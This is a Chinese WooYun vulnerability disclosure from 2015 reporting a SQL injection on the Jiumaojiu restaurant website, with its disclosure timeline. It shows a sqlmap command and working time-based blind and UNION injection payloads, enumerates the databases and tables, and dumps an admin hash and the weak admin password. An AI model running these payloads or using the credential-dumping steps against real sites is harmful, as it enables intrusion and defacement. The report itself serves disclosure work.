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缺陷编号:wooyun-2015-0135445

漏洞标题:九毛九SQL注射漏洞已入后台

相关厂商:cncert国家互联网应急中心

漏洞作者: 路人甲

提交时间:2015-08-22 21:15

修复时间:2015-10-09 10:18

公开时间:2015-10-09 10:18

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:5

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

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漏洞详情

披露状态:

2015-08-22: 细节已通知厂商并且等待厂商处理中
2015-08-25: cncert国家互联网应急中心暂未能联系到相关单位,细节仅向通报机构公开
2015-09-04: 细节向核心白帽子及相关领域专家公开
2015-09-14: 细节向普通白帽子公开
2015-09-24: 细节向实习白帽子公开
2015-10-09: 细节向公众公开

简要描述:

九毛九SQL注射漏洞,暴露多个数据库,后台弱密码。

详细说明:

首页POST注入

sqlmap.py -u http://**.**.**.**/index.html --forms


扫描到相关信息
2003的系统 Microsoft IIS 6.0, PHP 5.3.28 MySQL 5.0.12

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: gjz (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: gjz=CHpn') AND (SELECT * FROM (SELECT(SLEEP(5)))rPWy) AND ('cwEA'='cwEA&=
Type: UNION query
Title: Generic UNION query (NULL) - 15 columns
Payload: gjz=CHpn') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71626a7671,0x714a504556644a587757,0x7176717171),NULL,NULL-- &=
---
do you want to exploit this SQL injection? [Y/n]
[23:52:59] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or XP
web application technology: Microsoft IIS 6.0, PHP 5.3.28
back-end DBMS: MySQL 5.0.12


网站后台地址:

http://www.**.**.**.**/admin/


通过数据库可以查询到后台用户名admin 密码11111
登陆后台后可随意更改网站内容。

漏洞证明:

---
Parameter: gjz (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: gjz=CHpn') AND (SELECT * FROM (SELECT(SLEEP(5)))rPWy) AND ('cwEA'='cwEA&=
Type: UNION query
Title: Generic UNION query (NULL) - 15 columns
Payload: gjz=CHpn') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71626a7671,0x714a504556644a587757,0x7176717171),NULL,NULL-- &=
---
do you want to exploit this SQL injection? [Y/n]
[23:52:59] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or XP
web application technology: Microsoft IIS 6.0, PHP 5.3.28
back-end DBMS: MySQL 5.0.12
[23:52:59] [INFO] fetching database names
available databases [9]:
[*] db_dodi
[*] disc
[*] information_schema
[*] jmjweb
[*] mysql
[*] performance_schema
[*] test
[*] ultrax
[*] wxac


Database: jmjweb
[17 tables]
+-----------------+
| admin |
| admin_menu |
| admin_power |
| admin_powerzllb |
| createhtml |
| guestbook |
| itemconfig |
| jbzl |
| link |
| mainpage |
| news |
| news_item |
| news_tags |
| news_zllb |
| product |
| product_zllb |
| wwwuser |
+-----------------+


Database: jmjweb
Table: admin
[1 entry]
+---------------------+----------------------------------+----------+----------+---------------------+----------------+
| reg_tm | userpwd | username | realname | login_tm | login_ip |
+---------------------+----------------------------------+----------+----------+---------------------+----------------+
| 2010-07-16 00:00:00 | 96e79218965eb72c92a549dd5a330112 | admin | 绠$.?. | 2015-08-18 21:32:22 | **.**.**.** |
+---------------------+----------------------------------+----------+----------+---------------------+----------------+


后台

111.jpg


可随意更改内容

QQ截图20150820000735.jpg


修复方案:

过虑参数

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2015-08-25 10:16

厂商回复:

暂未建立与网站管理单位的直接处置渠道,待认领.

最新状态:

暂无